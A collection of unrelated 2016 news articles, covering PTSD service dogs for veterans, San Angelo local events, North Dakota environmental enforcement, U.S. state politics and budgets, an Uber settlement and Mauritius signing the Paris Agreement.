Sheila O'Brien, chair of the steering committee drafting ADI's guidelines, said the group is studying other tasks in lieu of blocking and sweeping.

Despite all the criticism, the VA's study, set to conclude in 2018, is chugging along  with more than 100 of an eventual 220 veterans enrolled, about half paired with dogs. Fallon said the only recent glitch was a vendor error that shipped out service dog vests for some support dogs, which don't have the same public access rights under the Americans with Disabilities Act.

In November, the Kaiser Permanente Northwest Center for Health Research released the results of a study involving 78 veterans with PTSD. It found that those with animals had better overall mental health, less substance abuse and higher ratings on their interpersonal relationships. Researchers said, however, that "differences cannot be directly attributed to service dogs" and that more study is needed.

U.S. Rep. Ron DeSantis recently introduced a bill that would take $10 million from the VA's budget to immediately begin pairing service dogs with post-9/11 veterans for whom traditional PTSD treatments hadn't worked. During a subcommittee hearing last week, Rory Diamond, executive director of the group K9s for Warriors, said the VA had "fumbled" its study, and that veterans can't afford to wait.

As far as Joe Aguirre is concerned, the question of whether these dogs help has been answered.

"I honestly feel without Munger in my life right now, I probably wouldn't be alive," he said of the dog named in honor of Spc. Joshua Munger of Maysville, Missouri, killed by an improvised explosive device near Baghdad in 2005. Patriot Rovers names all its support dogs after fallen service members. "It makes me feel like I've got a bond, knowing that he, like any other soldier that you have a bond with, would take a bullet for you. Would watch your back  and your front."

Whatever the potential costs of providing these animals, Aguirre added, it's "nickels and dimes compared to the service we provided to our country."

___

Allen G. Breed is a national writer, based in Raleigh, North Carolina. He can be reached at features@ap.org. Follow him on Twitter at https://twitter.com/AllenGBreed .
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Hunting bluebonnets isn't for sissies. But thanks to Marge Elliot from San Angelo and her sister from Kansas, we can get a vicarious taste of the hunt. They drove 2,750 miles on their Texas quest for wildflowers.

Here is how it happened in 20 steps:

1. "My sister came down from Kansas again this year and we took off on a 2,750 mile sightseeing trip," San Angelo's Marge Elliot wrote early this week.

2. They went to Georgetown and "poppies in town were a sight to behold." Marge said.

3. Searching for bluebonnets and other wildflowers, the sisters made a run out to several county roads around Georgetown, down to Burnet and then Marble Falls.

4. Then they drove out to Longhorn Caverns and State Park.

5. Next they travelled back to Georgetown and headed to Ennis, south of Dallas.

6. "We saw very few bluebonnets or other wildflowers," Marge said.

7. The sisters did find a few nice patches there, but nothing like what has been reported in the past.

8. The Ennis route was a real disappointment, even though they drove one of the recommended routes given to them by the Ennis Visitor Center.

9. From Ennis, they headed back to San Angelo via U.S. 67.

10. Nothing was along that route.

11. After a couple of days' rest they took off again through San Saba, Lampasas, Dripping Springs, Wimberley and on to New Braunfels.

12. Again, nothing spectacular to report. Flowers were supposed to be a sight to behold southwest of Austin.

13. So they went to Bastrop, Brenham, LaGrange and back to Bastrop.

14. After watching the severe weather reports, they decided to head home.

15. But not before they made "the required trip to Fredericksburg," Marge said.

16. "Wildseed Farm was gorgeous, as usual," she added.

17. They chose to come home on U.S. 87, and when they got to Mason the wildflower show began!

18. "If anyone wants to see bluebonnets, now is the time," Marge said.

19. The drive Between Mason and Brady put the rest of their trip to shame, Marge said. "Pretty much solid blues, yellows and reds were on both sides of the road and in the median all the way from Mason to Brady."

20. "The drive from Brady to Mason is worth (it) for anyone," Marge said. But, she added, "I wouldn't wait too long. I think they are at their peak."
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By Michelle Gaitan of the San Angelo Standard-Times

As the realization of human trafficking occurring closer to home continues to unveil itself and awareness of the crime spreads, measuring the problem is difficult.

It is clear that know cases represent only a small part of its true extent, an authority on human trafficking told a San Angelo audience Thursday.

"Our current research, data on human trafficking is difficult to collect and understand," Nicole Levy Nale said. "We know from our research that stakeholders who are involved in anti-trafficking efforts believe that known cases of trafficking are just a fraction of the problem."

Nale, research project director at the Institute on Domestic Violence & Sexual Assault at the School of Social Work at the University of Texas at Austin, spoke to a crowd of more than 100 people comprised of local law enforcement, educators, advocates and community members during a luncheon hosted by the San Angelo Texas Exes.

Nale chose not to introduce numbers into her presentation saying, "I think it's important that when you talk about this issue from an educational perspective to really be able to explain to people that we don't know the extent of the problem, we know it exists.

"So to make matters more difficult, the information we do have focuses almost exclusively on identified victims," she said. "Since many cases are hard to come by and many cases never come to light it's a monumentally difficult task. Research and information gathering is an essential component in anti-trafficking efforts  I think it's an important piece. That's how Texas slavery mapping project came to be."

The project, titled the Statewide Human Trafficking Mapping Project for Texas, is funded by the Criminal Justice Division of the Office of the Governor to research and provide empirically grounded data about the extent of human trafficking in Texas. It is comprised of three major components: an environmental scan, economic analysis, and a slavery footprint.

"The current study is a mixed methods approach where we are collecting primary and secondary data trying to understand on the ground what is occurring (in places like) San Angelo by talking to people who might be interacting with folks that can be affected (and) people who are responding to the crime, if it was to occur," she said. "And that ranges from all the way to social services providers to law enforcement to prosecutors who will be involved in the criminal justice system."

"Secondary research is more heavily involved in understanding the research that already exists," she said. "Piecing it all together helps us paint a picture so we can learn more about the scope of trafficking."

As part of the conversation during the luncheon, law enforcement and local agencies that deal with sexual and family violence shared what they come across in their line of work.

Karla Payne, executive director of the Concho Valley Rape Crisis Center, said, "It's really hard to identify victims of trafficking. By the time it gets to us we kind of know the situation and very few identify as human trafficking so we definitely want to partnership with as many organizations as we can to address this issue and learn more about it so we can provide services for the whole community."

Agent Marisol Alleary with Homeland Security Investigations said the 12-to-14 year age group, for both girls and boys, is what HSI is seeing in San Angelo when it comes to sex trafficking.

It's mainly a problem we're seeing online" through social media sites. It's not you're typical child standing on the corner, and that specific age group is for the first time being exposed to social media, the Internet and cellphones," she said.

Alleary said HSI is the lead federal agency with human trafficking and they provides outreach efforts to schools and are willing to provide them for others groups in the community.

The look of human trafficking is different from one case to another and encompasses more than the movement of individuals for sex. It includes, but is not limited to, debt bondage, involuntary servitude and slavery.

"We are in the infancy of this issue and trying to understand it; not just as a state, but as a country and really locally," Nale said.
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Symphony to play songs from movies

By Michelle Gaitan of the San Angelo Standard-Times

The magic of Disney is coming to the stage Saturday as part of the First Financial Bank Family Pops Concert hosted by the San Angelo Symphony.

"Disney In Concert: Tale As Old As Time" incorporates favorite songs from the Disney's movies performed by the symphony orchestra while film clips of well-known Disney movies are played on a large screen for the audience, said Courtney Mahaffey, executive director of the symphony.

The new musical production will feature clips from "Frozen," "Hercules," "The Lion King," "Beauty and the Beast" and several other Disney movies.

Mahaffey said it's challenging to stay precisely on the beat to the movie as the orchestra plays, and it's especially important for the audience that they stay accurate.

The orchestra started practicing last year, she said.

Hector Guzman, symphony music director, has performed the Disney concert before and is almost an expert at being specific with the music so it matches the film clips, she said.

The two-hour concert is at Angelo State University's Junell Center, so there will not be a bad seat in the house, Mahaffey said, adding that it is family friendly and good for all ages.

The concert starts at 7:30 p.m. Saturday inside the Junell Center, 2235 S. Jackson St. Tickets range from $20 to $35.

Tickets are available at the Symphony office in City Hall, 72 W. College Ave.; Blair's Wester Wear, 4230 Sherwood Way; In Vino Veritas, 2007 Knickerbocker Road; Legend Jewelers, 18 E. Concho Ave.; and Elite Physique, 2802 Southwest Blvd.

A limited number of tables are available for purchase.

Tables seat up to eight guests and are on the floor of the Junell Center at stage level.

For more information, visit sanangelosymphony.org or call 325-658-5877.

IF YOU GO

What: Disney in Concert: Tale as Old as Time, presented by the San Angelo Symphony

When: 7:30 p.m. Saturday

Where: Angelo State Universitys Junell Center, 2235 S. Jackson St.

Cost: Adults $35; students, military and children 3-12 years old $20; and seniors 65 and older $30

More info: sanangelosymphony.org or 325-658-5877
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Sharron Perdue, San Angelo

On May 7, we have important elections for City Council and chief of police. It hasn't been that long that we put some reins on the City Council. We refused to let them take away our voice in selecting the police chief.

I'm almost 70 and thought the days of playing dirty politics were over in San Angelo. Apparently not, and recently someone burned Tim Vasquez yard signs near Central High School at night. If the wind had been up, we could have had lives and homes lost. Past chiefs and sheriffs used to fire or demote anyone on the force who ran against them.

After the sign fires I received an email asking me to vote for a candidate. I asked what he would do about the fires, and he basically said he would do nothing. Excuse me, but wasn't that a valid campaign question?

The officers who are touting their experience are forgetting that their chief put them in a position to get it. They have Tim Vasquez to thank for that.

I've watched Tim very closely. While I admired his work ethic when he first became chief, I could have considered voting for someone else, but then I went to a barbecue. If you weren't there you missed more than pulled pork. I saw a man who totally changed when he spoke about his city, his officers, his department heads, and his job!

Oh, and he's the only San Angelo chief who has been elected to the board of the Texas Police Chiefs Association. He's the president of that board.
FARGO -- Government regulators have some powerful tools at their disposal to crack down on violators of environmental laws, namely fines, lawsuits and other formal enforcement actions.

North Dakota officials, however, let these tools sit untouched at the bottom of the toolbox the vast majority of the time.

In the past three years, 325 facilities around the state have broken longstanding federal environmental laws such as the Clean Air Act, the Clean Water Act and the Safe Drinking Water Act. In just seven of those cases, state officials took formal enforcement action.

That works out to 2 percent of violations being met with formal enforcement. That's the lowest percentage of the 43 states for which complete data is available, according to an analysis of U.S. Environmental Protection Agency records. Nationally, 16 percent of violations see formal enforcement, and it's 24 percent in Minnesota.

In North Dakota, Minnesota and most other states, the EPA has delegated authority to state officials to make sure facilities like wastewater lagoons, drinking water systems and power plants follow federal environmental laws.

North Dakota officials say they'd rather see lawbreaking facilities, many of which are taxpayer funded, spend money on remedying violations as opposed to paying a state-imposed fine. Meanwhile, environmental advocates say state regulators need to do more than just issue nominal fines in only the most egregious cases.

"I think if the penalties were larger they would be more of a deterrent than this kind of slap-on-the-wrist thing," said Mark Trechock, former director of the Dakota Resource Council.

In recent years, the explosion of oil and natural gas drilling has been accompanied by a bevy of spills and illegal dumping in western North Dakota. But enforcement related to those incidents typically falls under state law rather than federal laws like the Clean Air Act and Clean Water Act, said Dave Glatt, chief of the North Dakota Environmental Health Section.

When dealing with a federal environmental rule violation, Glatt said, the first goal for North Dakota regulators is to bring the facility into compliance with the law. If that can be done without taking formal enforcement action, it's preferred, he said.

"Our philosophy on that is, you know, things break -- no fault of anybody. And so before we jump right into fining them, again, we want to make sure everything's in compliance," he said.

'Philosophically opposed'

North Dakota's patient approach to enforcement hasn't gone unnoticed by the feds.

In a 2011 report calling for better state enforcement of federal environmental laws, the EPA's Office of Inspector General said North Dakota's deficiencies in this regard were because the state was "philosophically opposed to taking enforcement action."

In an email, EPA spokesman George Hull said that in North Dakota, the EPA and the state share the duty of enforcing environmental laws and often work together to do so.

"In its oversight role, if EPA identifies any concerns with North Dakota's performance of its responsibilities, EPA works with the State to remedy the problem," he wrote, not elaborating on what concerns the EPA may have with the state's enforcement style.

Wayde Schafer, the lone paid staffer at the Sierra Club's state chapter, said he senses an anti-EPA sentiment in North Dakota -- a resentment that a federal agency is meddling in state affairs. But for Schafer, having an overarching regulatory body like the EPA is critical to protecting the environment.

"Water and air don't stop at state boundaries," he said. "You can't have just individual states just doing whatever they want."

In North Dakota, over 2,200 facilities must abide by federal environmental laws. The most recent EPA records show that 114 facilities are not in compliance with these laws.

Of those facilities, 15 have broken the law to the point that the EPA describes them as significant violators. Eight of the 15 have been out of compliance for at least three years, and in that time none has faced formal enforcement.

All eight facilities are drinking water systems, mostly in small towns like Cathay. Since 2011, the central North Dakota town of Cathay, population 43, has exceeded the maximum levels allowed for chlorine twice and has tested positive for bacteria four times, according to EPA records. Phone messages left for Cathay's mayor, Cathy Wiedrich, were not returned.

Glatt said it's often small towns with slim budgets that chronically struggle to follow Safe Drinking Water Act regulations. "The smaller the system, you know, the tougher it is for them to hire qualified (system) operators," he said.

Greg Wavra, who manages the state's drinking water program, said violations typically happen when the person in charge of a drinking water system misses a required water-quality test or doesn't follow paperwork rules. This includes sending notices to residents explaining test results, he said.

Sometimes, like in Cathay's case, the violations are directly related to public health. A recent example of this occurred in the McLean-Sheridan Water District.

About 260 residents in the district get their water from the city of Washburn, north of Bismarck. Disinfectants are used to treat the water, which comes from the Missouri River, and those disinfectants can combine with organic material to make certain byproducts, Wavra said.

The water system, which had been abiding the law for at least two years, tested high in September for one of those byproducts, known as haloacetic acid, which can heighten the risk of cancer through long-term exposure, according to the EPA.

And last month, the system exceeded the limit for another byproduct called trihalomethane, which, through long-term exposure, can lead to liver, kidney and central nervous system problems as well as an increased risk of cancer, the EPA said.

Water district manager Lynn Oberg said the district, which has not been fined or threatened with one, is working with the state to comply with the regulations. He said Washburn is switching to a new treatment process, which he expects will prevent similar issues in the future.

Wavra said the water is safe to drink in the McLean-Sheridan Water District, in Cathay and throughout the rest of North Dakota.

'Personal relationships'

Minnesota regulators, like those in North Dakota, say their main goal is to ensure that facilities follow the law. But more frequently than North Dakota, Minnesota resorts to formal enforcement action when federal environmental laws are broken, EPA records show.

When a violation harms or threatens to harm the environment or public health, Minnesota typically takes punitive action, which more often than not involves a fine, said Katie Koelfgen, compliance and enforcement manager at the Minnesota Pollution Control Agency. "We think penalties do deter future violations," she said.

Unlike North Dakota, Minnesota has a legal team at the MPCA that handles enforcement matters. In rare cases when criminal charges are filed, the MPCA will seek the EPA's help or the case will be outsourced to a county attorney, Koelfgen said.

Tami Norgard, a Fargo attorney who practices environmental law, said the smaller number of regulated facilities in North Dakota allows state regulators to work with facilities to try to resolve violations more so than their Minnesota counterparts, who she believes are quicker to pull the trigger on enforcement.

In the past three years, facilities in North Dakota have incurred a total of about $1.8 million in penalties. The Tesoro refinery in Mandan received the largest one ($1.1 million), and the smallest one ($7,100) went to American Crystal Sugar in Hillsboro.

"Sometimes the fines that these companies pay are fairly small in relation to the amount of money that they make," said James Grijalva, a University of North Dakota law professor.

Grijalva said North Dakota's unaggressive approach to environmental enforcement is related to the priority state officials put on attracting new businesses. Officials "don't want to send the message that we're too hard on environmental pollution," which, he said, goes hand-in-hand with economic development.
WASHINGTON -- U.S. Rep. Kevin Cramer is calling on Donald Trump's Republican rivals to drop out of the race for president.

Cramer, a North Dakota Republican who endorsed Trump earlier this month, explained the only path to the nomination for both Ohio Gov. John Kasich and Texas Sen. Ted Cruz is a contested GOP convention, adding it's time for them to concede the nomination.

"They should start referring to Donald Trump as the likely nominee," Cramer told the Herald Thursday. "The sooner we get to rallying around the presumptive nominee, the sooner we can get to running against Hillary Clinton instead of running against each other."

Cramer's remarks come just days after the New York primary, where Trump won 89 delegates with more than 60 percent of the vote. Kasich won just more than 25 percent of the vote and netted four delegates, while Cruz won 14.5 percent of the vote and no delegates.

A Republican candidate needs 1,237 to clinch the nomination and avoid a contested convention this June in Cleveland.

Though he has been mathematically eliminated from clinching the nomination outside of a contested convention, Cruz, with 559 delegates, still is dominating Kasich, who has 148 delegates. Trump has 845.

Recent weeks have brought a wave of speculation on what might happen if Trump fails to clinch the nomination before the convention. If he is unable to do so, it may result in the nomination of a candidate other than Trump, which Cramer said would create electoral problems for the party at the presidential level through the next decade.

"I don't think it's a risk; I think it's a certainty," he said. "And that scares me a lot."

North Dakota's Republican delegates are unbound since the state did not hold a caucus. That means North Dakota delegates do not have to vote for a candidate based on a popular vote.

Reports indicate most GOP delegates in North Dakota support Cruz, with Forum News Service reporting in early April that at least 17 delegates are leaning toward voting for the Texas senator.

Polling figures generated Thursday by RealClearPolitics suggest Trump's chances of beating Clinton in the general election aren't as good as his rivals'. A Clinton-Cruz matchup is pegged at 45.3 percent Clinton and 43 percent Cruz, with Cruz beating Clinton by about one percentage point between early January and late March, according to RealClearPolitics.

A Clinton-Trump election, on the other hand, hasn't been closer than one point since early December, sits at 48.8 percent Clinton and 39.5 percent Trump.

Neither Cruz nor Trump have the best polling to beat Clinton. Data from RealClearPolitics suggested Thursday Kasich tops Clinton by nearly eight points at 48 percent to 40.2 percent.

Cramer said he still has plenty of confidence in Trump, suggesting polling accuracy might be compromised by Trump's status as a frontrunner. Oftentimes, Cramer said, poll responses skew toward favoring less-likely candidates.

"In terms of the science of polling, that's not at all uncommon for the people that are thought of the most to do the worst," he said, adding "every time Donald Trump has a challenge, he steps up to it and seems to prevail."
The Alabama Legislature today overwhelmingly passed the state's largest education budget and largest pay raise for school employees since the Great Recession.The budget calls for spending $6.3 billion from the Education Trust Fund on K-12 schools, community colleges, four-year universities and other programs, 5.6 percent more than this year.Lawmakers voted to give teachers and most other education employees a 4 percent cost of living raise.Educators have had one cost of living raise since 2007, a 2 percent hike three years ago.After some changes worked out by a conference committee, the House passed the budget 100-0. The Senate passed it 32-0.The budget and pay raise bill were sent to Gov. Robert Bentley, who issued statements praising both.
Smoking or Non-Smoking?

Data on the Illinois Exodus

Lopsided Recoveries

The California Public Employees Retirement System (CalPERS) struck a controversial note this week when its board announced it would study whether to get back into the tobacco industry. The nations largest pension fund divested from tobacco companies in 2001 on the premise that making money off a product known to cause cancer was in conflict with the funds social responsibility.But a study by a consulting firm showed that CalPERS forfeited an estimated $3 billion in investment profits since 2001 because of that decision. The board will take its time -- two years -- reconsidering its decision, citing its fiduciary duty to make the best investment choices possible for retirees.The announcement has already drawn fire from those who say CalPERS would violate its role as a health insurer by getting back into tobacco. State Treasurer John Chiang, who sits on the board and voted against the majority, said in a statement that investing in tobacco companies is harmful to public health and to the funds fiscal bottom line. "Smoking causes addiction, disease and death, said Chiang. No public pension fund should associate itself with an industry that is a magnet for costly litigation, reputational disdain, and government regulators around the globe.As Illinois lawmakers continue to work toward a budget and spending plan for this fiscal year, they might want to consider this: A study by KDM Consulting, "Who is Leaving Illinois and Why," is an invaluable addition to the general discussion of Illinois budgetary stability, competitiveness and related topics, said analyst Chris Mier of Loop Capital, an investment firm.The report looked at state migration patterns and found that Illinois has been experiencing net out-migration since 1925. Until recently, the continual outflow has been offset by considerable inflow from international migration. In addition, there is substantial migration between the Midwest states, meaning no single state is beating others at attracting residents. For instance, Illinois largest out-migration is to Indiana, which Illinois lawmakers often cite as a lower-tax competitor. But Indiana's largest out-migration is to none other than Illinois.All this, points out Mier, offers a refutation of the oft-cited timeline of out-migration increasing coincident with the increase in the personal income tax in January 2011. Lawmakers, partly in reaction to out-migration fears, let that tax increase expire in 2015. That move contributed to the states current structural budget problems.Speaking of personal income, new data is out that shows the nation continues to have an uneven income recovery across the 50 states. According to The Pew Charitable Trusts, growth in personal income since the end of 2007 has grown by as much as 5 percent each year in North Dakota and as little as less than a half-percent annually in Nevada.The past year has been equally lopsided. While 2015 was good to most states, 12 saw income slowdowns. Six of those states -- Iowa, Nebraska, North Dakota, Oklahoma, South Dakota and Wyoming -- saw incomes shrink thanks to declines in the natural gas and oil industries. Still, Pew reported, personal income in all states is higher than before the Great Recession.A separate report indicates 2016 might be a more mediocre year for most states. Due to slower economic growth overall in the first three months of the year, Standard & Poors credit rating agency said it has lowered its forecast of real U.S. GDP growth to 2.3 percent from the 2.7 percent it initially projected. For U.S. state and local governments, the forecast anticipates a broadly stable economic backdrop, S&P said, albeit one that lacks the underlying vitality we would typically expect to see at this stage of the business cycle.
More than 100 young immigrants in the balcony exchanged standing applause with state senators Wednesday after the legislature overrode Gov. Pete Ricketts' veto of a bill clearing a pathway for them to acquire professional and commercial licenses to work in Nebraska.Following a tense two-hour debate, senators voted 31-13 to override the veto of LB947. That was one more than the 30 required to enact legislation over the governor's objections.The bill will allow so-called DACA youth who have been granted lawful presence in the United States by the Deferred Action for Childhood Arrivals executive action taken by President Barack Obama to acquire licenses to work in the state.Most of those young immigrants were brought to the United States by their parents illegally when they were young children and most of those affected by the bill grew up in Nebraska and went to school here.
Ride-hailing service Uber has agreed to pay up to $100 million to settle a class-action lawsuit that resolves a major challenge to its business model by allowing it to keep its Massachusetts and California drivers as independent contractors.Uber CEO Travis Kalanick called the classification of employees the "key issue." Out of the $100 million proposed payment, $84 million is guaranteed to drivers and $16 million is contingent on an increase in Uber's value.Uber will also provide drivers with more information about their individual ratings and how they compare with their peers. Uber will establish a "driver's association" for Massachusetts and California drivers, with regular meetings to "discuss the issues that matter most to drivers," Kalanick said.The case against Uber had been closely watched in Silicon Valley, as other companies in the on-demand tech economy share Uber's reliance on independent contractors. The case was due to go to trial in San Francisco federal court in June."We realize that some will be disappointed not to see this case go to trial," said Shannon Liss-Riordan, the Boston labor attorney who sued on behalf of the drivers. But Liss-Riordan said the plaintiff drivers faced significant risks of losing in court. Nothing about the settlement prevents a future court, or U.S. labor authorities, from deeming Uber drivers as employees, she said.Kalanick's statement said, "Six years ago when Uber first started in San Francisco, it was easy to communicate with the handful of drivers using the app. Austin Geidt, who ran marketing, called each one regularly to get their feedback and make sure things were working well. It was clear from those early conversations that drivers really valued the freedom Uber offered. Today, while the number of drivers using our app has grown dramatically, their reasons for doing so haven't changed. In the U.S. almost 90 percent say they choose Uber because they want to be their own boss. Drivers value their independence -- the freedom to push a button rather than punch a clock, to use Uber and Lyft simultaneously, to drive most of the week or for just a few hours."As part of the settlement Kalanick also outlined infractions that can get drivers fired from Uber. In addition to drinking and driving, and discriminating against fares on the basis of race or gender, lesser infractions include a bad-smelling car or too much air freshener, and refusing too many fares. But drivers who are "deactivated" in California or Massachusetts will now have the option to fight to keep their jobs.(c)2016 the
New York Democrats Gain Seat But Not Senate

Baltimore Set to Pick a Mayor With Less Power

In Kentucky, Feuding Breaks Out Between Bevin and Beshears

When is a majority not enough for control of a chamber? When coalition politics are as convoluted as they are in New York.On Tuesday, Democrats picked up the seat vacated by Republican Dean Skelos, the former Senate majority leader who was convicted along with his son last December on bribery and conspiracy charges. According to complete but unofficial results, state Rep. Todd Kaminsky beat Republican attorney Chris McGrath by a 780-vote margin, taking 49.9 percent to McGrath's 48.8 percent.Assuming Kaminsky's margin holds, Democrats will occupy 32 seats in the 63-member Senate. That should be enough for control. The hitch is that Republicans are still likely to piece together a working majority. Simcha Felder, nominally a Democrat, has been voting with the GOP. There is a separate group of five so-called independent Democrats who could also provide Republicans with an edge.The situation has Albany observers playing out different scenarios, wondering who will want to make deals with whom. Rump Democrats, for instance, may jockey to make the best possible deals with Republicans, says Lawrence Levy of Hofstra University. Or Republicans may see their party entering "a downward spiral" and seek to make separate deals with Democrats in anticipation of that party winning the chamber in November.Either way, the victory should give Democrats some momentum heading into November. Kaminsky not only won the seat of a former leader but broke up the GOP's solid control of districts in Long Island. "It changes the status quo for the general election," said political scientist Gerald Benjamin of SUNY New Paltz, which in New York is "the toughest time for Republicans."With Mayor Stephanie Rawlings-Blake stepping down, Baltimore residents will pick a new mayor next week. But that candidate could end up wielding less power.The vote Tuesday is a primary, with the next mayor formally winning office in November. But because of the city's overwhelmingly Democratic nature, the winner of that party's primary will instantly become the de facto mayor-in-waiting.Polls indicate that the frontrunner in the large Democratic field is state Sen. Catherine Pugh, who enjoys a lead over former Mayor Sheila Dixon. Pugh has picked up a number of high-profile endorsements from the likes of Congressman Elijah Cummings and City Councilman Nick Mosby, who lent her his support as he dropped out of the mayor's race last week. On Wednesday, a dozen Baltimore-area state lawmakers also announced their support for Pugh.But a big field and changes in the timing of the election will keep things a little unpredictable. The city's mayoral election was moved from odd-numbered years to coincide with the Democratic presidential primary, which means voter turnout is up. More than 15,000 people have cast ballots in early voting, according to the Baltimore Sun , four times the number in the mayoral election of 2011.The next mayor of Baltimore faces enormous challenges in a city that was the site of widespread protests last year following the death in police custody of Freddie Gray. But that person may have less power to effect change. On Monday, the city council approved a package of bills that will reduce the mayor's power, giving the council president and city comptroller nearly equal authority over spending decisions, while also expanding the council's ability to shape the budget.Rawlings-Blake will veto the measures, but the council appears to have the 12 votes necessary to override her. That means the decision will ultimately be left up to the voters in November, who must approve any changes to the city's charter.Matt Bevin, the Republican governor of Kentucky, accused his Democratic predecessor's administration of corruption on Tuesday.The allegations came after Timothy Longmeyer, who served in the cabinet of former Gov. Steve Beshear, pleaded guilty to bribery charges. Prosecutors are continuing their investigation into the case, which involves kickbacks to a Democratic consulting firm and donations to party candidates. Longmeyer briefly worked as a deputy to state Attorney General Andy Beshear, the former governor's son, before stepping down last month.In a 20-minute statement, Bevin said the Beshear administration had shaken down state workers for campaign contributions and awarded a $3 million no-bid contract to a company with political ties to the administration. "In the first four months of my administration, my staff has uncovered evidence that officials in the prior administration failed to meet the high standards that the law and people of Kentucky demand from state government officials," Bevin said.Steve Beshear, who has combated Bevin's plans to roll back his health-care expansions, called the governor's claims "wild" and an attempt to distract the public from his own failures. "Today's accusations, which have absolutely no basis in truth, continue this pathetic spectacle," Beshear wrote on his Facebook page . "There was never any attempt to pressure employees to make political contributions, and we followed both the spirit and the letter of procurement laws."Andy Beshear said Bevin's administration has already given out no-bid contracts worth $4 million. He accused the governor of overstepping his authority by launching his own investigation rather than letting the ethics commission look into his allegations. Earlier this month, the attorney general sued Bevin for making unilateral cuts to higher education spending.
The Supreme Court ruled unanimously Wednesday that states can draw legislative districts with slightly different populations in an effort to benefit minority groups, even if the results help one political party over the other.The decision signaled a recognition by the court that despite its disdain for both racial and partisan considerations, neither violates the Constitution's "one person, one vote" principle."We have made clear that the Constitution, while insisting upon compliance with the principle of one person, one vote, does not demand mathematical perfection." Justice Stephen Breyer wrote.It also represented the justices' third consecutive ruling on political redistricting that has pleased Democrats more than Republicans following a landmark 2013 decision that went the other way -- Chief Justice John Roberts' 5-4 ruling that struck down a key section of the Voting Rights Act.The new decision upheld state legislative lines drawn by an independent commission created in Arizona to take the job away from the legislators themselves. Just last June, the justices had upheld the commission's creation by a 5-4 vote over the objections of Republican lawmakers who said the Constitution gives that task to state legislatures.
A 2014 law requiring all New Jersey municipalities to outfit new police patrol cars with dashboard cameras is unconstitutional because it does not provide an adequate funding source, a state board ruled Wednesday.The ruling by the Council on Local Mandates on a challenge brought by Deptford Township, Gloucester County, could relieve stress on municipal budgets across the state. The council did not weigh in on the merits of the politically charged debate over the utility of dashboard and body cameras in improving police accountability.Instead of dashboard cameras, the law says, officers could wear body cameras. The law applies to police vehicles and officers primarily involved in traffic stops.Twenty-five states and the District of Columbia have police body camera laws, according to the National Conference of State Legislatures.Deptford argued that the $25 surcharge on driving-while-intoxicated penalties provided under the law does not generate enough money to pay for the necessary equipment.Police chiefs in several other South Jersey municipalities agree, but say they still plan to purchase body cameras because the cameras hold officers and residents more accountable, and make it easier to review complaints from the public -- potentially preventing costly legal battles between complainants and municipalities.Maple Shade Police Chief Gary Gubbei said he would fund body cameras through drug forfeiture money, a resource many departments use to purchase cameras, and through the department's budget.The estimated cost of purchasing cameras for the township's 32 officers is $60,000, he said, and that does not include the price tag for storage. The $25 DWI surcharge is "definitely not enough" to cover the overall cost, he said."You're talking some serious money," Gubbei said.The Camden County Police Department, which patrols just Camden City, is paying $260,145 to purchase 325 cameras for officers. The software and equipment needed to operate and store footage will cost an additional $209,000.Deptford Mayor Paul Medany said a few of his department's cars already have dashboard cameras, but added that "the jury's way out on body cameras."He said the township probably would not buy more dashboard cameras this year "because we didn't put them in the budget pending the outcome of all this." But he didn't rule out the possibility of buying more.In September, the nine-member Council on Local Mandates issued a temporary injunction blocking implementation of the measure, signed into law by Gov. Christie.In its six-page opinion Wednesday, the council described the funding mechanism as "illusory."The evidence submitted by Deptford, it said, showed that the surcharge "would fall far short of funding the installation of either a vehicle-mounted or body-worn mobile video recording system."Deptford presented the council with offers from two vendors. One offered the township a body-camera system that would cost $251,980 over five years, accounting for installation, warranties, service, hardware upgrades, and other costs.DWI convictions would cover less than 6 percent of the cost, Deptford told the council. The state did not challenge those figures or offer its own estimates, according to the opinion.The council is independent of the three branches of government. It was established in 1995 via a constitutional amendment that empowered it to "resolve any dispute regarding whether a law or rule or regulation issued pursuant to a law constitutes an unfunded mandate."Acting Chair John A. Sweeney, a former assignment judge from Burlington County, said the ruling could not be appealed because the council operates outside the judicial system.The council's members are appointed by the governor, legislative leaders, and the chief justice of the state Supreme Court.Its decisions are considered "political and not judicial," according to the 1995 amendment, leaving open the question of how it could be expected to interpret the law better than the courts could.When the council rules against the state, "I'm not sure the state has rights in a sense that this would violate due process or something," said Robert F. Williams, a professor of state constitutional law at Rutgers University. "It feels to me like that's it. It's never been tested that I know of."(c)2016
On Thursday, in the morning, at ANZAC Square, Brisbane, His Excellency the Honourable Paul de Jersey AC and Mrs Kaye de Jersey attended the Students ANZAC Commemoration Ceremony where His Excellency addressed guests and laid a wreath.

In the afternoon, at Parliament House, the Governor presided at a meeting of the Executive Council.

Following, the Governor assumed duty as Administrator of the Government of the Commonwealth of Australia; and the Honourable Chief Justice Catherine Holmes commenced duty as Acting Governor.

In the evening, at Government House, His Excellency and Mrs de Jersey hosted a reception to celebrate the 90th birthday of Her Majesty Queen Elizabeth II where the Administrator addressed guests.
Description

GIS  22 April 2016: Mauritius will sign and ratify the Paris Agreement adopted at the 21st Meeting of the Conference of Parties (COP 21) to the United Nations Framework Convention on Climate Change. A high-level signing ceremony, convened by UN Secretary-General Ban Ki-moon, is being held today at United Nations Headquarters in New York as a first step in implementing the Paris Agreement, which was adopted in Paris, France, on 12 December 2015. Mauritius will sign and ratify the Paris Agreement adopted at the 21st Meeting of the Conference of Parties (COP 21) to the United Nations Framework Convention on Climate Change. A high-level signing ceremony, convened by UN Secretary-General Ban Ki-moon, is being held today at United Nations Headquarters in New York as a first step in implementing the Paris Agreement, which was adopted in Paris, France, on 12 December 2015. The ceremony is taking place on International Mother Earth Day. In addition to a signing ceremony in the morning, national statements will be presented throughout the day and a High-level event on implementation will convene in the afternoon. Consequently, t he President of the Republic, Dr. Ameenah Gurib-Fakim, who is in New York for a meeting in her capacity as Co-Chair of the High Level Panel on Water, will today participate in the signing of the Paris Agreement on Climate Change.

The Agreement will then be open for signature in New York, US, until 17 April 2017. Countries will also need to adopt the agreement within their own legal systems, through ratification, acceptance, approval or accession. The agreement will enter into force when joined by at least 55 countries, which together represent at least 55% of global emissions

The Paris Agreement, adopted by all 196 Parties to the United Nations Framework Convention on Climate Change at COP21 , aims at strengthening the global response to the threat of climate change, in the context of sustainable development and efforts to eradicate poverty based on the principle of equity, common but differentiated responsibilities, and respective capabilities.

It has also set a long term temperature goal to hold the global average temperature increase well below 2C above pre-industrial levels, and pursue efforts to limit the temperature rise to 1.5C. The main provisions of the Agreement relate, inter alia, to mitigation, adaptation, finance and transparency of actions.

